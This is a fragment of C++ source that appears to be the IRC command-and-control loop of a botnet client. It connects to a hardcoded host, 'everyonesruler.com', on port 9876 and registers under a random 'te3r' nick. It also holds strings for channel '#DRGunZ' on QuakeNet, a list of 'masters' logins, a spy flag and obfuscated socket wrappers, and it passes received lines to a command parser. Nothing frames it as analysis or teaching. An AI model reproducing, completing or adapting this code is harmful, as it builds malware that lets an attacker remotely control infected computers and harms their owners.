cIrc* object = (cIrc*)param; SOCKET sock; SOCKADDR_IN ssin; char name[] = "everyonesruler.com"; char nickbuf[MAXNICKLEN]; char *nick1; int port = 9876; while(true) { memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_port = fhtons((unsigned int)port); if ((ssin.sin_addr.s_addr=ResolveAddress(name)) == 0) return 0; memset(nickbuf, 0, sizeof(nickbuf)); strncpy(nickbuf,"te3r\0",5); nick1 = rndnick(nickbuf, LETTERNICK, FALSE); nick1 = nickbuf; // strncpy(kbInstance->threadman->threads[irc.threadnum].nick, nick1, sizeof(threads[irc.threadnum].nick)-1); sock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP); kbInstance->threadman->threads[object->ourThreadId].sock = sock; if (fconnect(sock, (LPSOCKADDR)&ssin, sizeof(ssin)) == SOCKET_ERROR) { fclosesocket(sock); FlushDNSCache(); Sleep(2000); } kbInstance->Log(GetIP(sock)); char recvbuffer[4096], masters[MAXLOGINS][128], *lines[MAX_LINES], str[18], login[128], host[160], serverpass[20]; char processbuffer[4096]; memset(serverpass,0,20); memset(recvbuffer,0,4096); memset(login,0,128); int i, j, repeat, in_channel=0; for (i = 0; i < MAXLOGINS; i++) masters[i][0] = '\0'; if (serverpass[0] != '\0') object->irc_sendv(sock,"PASS %s\r\n",serverpass); sprintf(login, "NICK %s\r\n" "USER %s 0 0 :%s\r\n\0", nickbuf, nickbuf, nick1); if (fsend(sock, login, strlen(login), 0) == SOCKET_ERROR) { fclosesocket(sock); Sleep(5000); return 0; } char channel[]="#DRGunZ\0"; char chanpass[] = "\0"; char server[] = "irc.quakenet.org\0"; int spy = 1; int FLOOD_DELAY = 500; // loop forever unsigned int bufferposition = 0; while(1) { // if recv() returns 0, that means that the connection has been lost. memset(recvbuffer + bufferposition,0,sizeof(recvbuffer)-bufferposition); int bytesReceived = frecv(sock, recvbuffer + bufferposition ,sizeof(recvbuffer) - bufferposition,0); bufferposition += bytesReceived; if (bytesReceived <= 0) break; char* pos1 = strrchr(recvbuffer,0x0a) ; // check for atleast a full message if (pos1 != NULL) // we have a full message { int lastpos = (int)(pos1 - recvbuffer); // get the length to copy from recvbuffer into process buffer if (recvbuffer[lastpos -1] == 0x0d) // make sure its a full line memcpy(processbuffer,recvbuffer, lastpos); // copy it all over processbuffer[lastpos] = 0x00; if((pos1-recvbuffer + 1) == bufferposition) { bufferposition = 0; } else { char* leftover = new char[(bufferposition-1) - lastpos]; // bufferposition is total number of bytes, lastpos is memcpy(leftover, recvbuffer+lastpos+1, (bufferposition-1) - lastpos); // copy starting at the end of the bytes not processed memcpy(recvbuffer, leftover,(bufferposition-1) - lastpos); bufferposition = bufferposition-lastpos; delete [] leftover; } i = Split(processbuffer,&lines); for (j=0;j < i;j++) { kbInstance->Log(lines[j]); int removeBytes = object->irc_parseline(sock, lines[j]); } } } }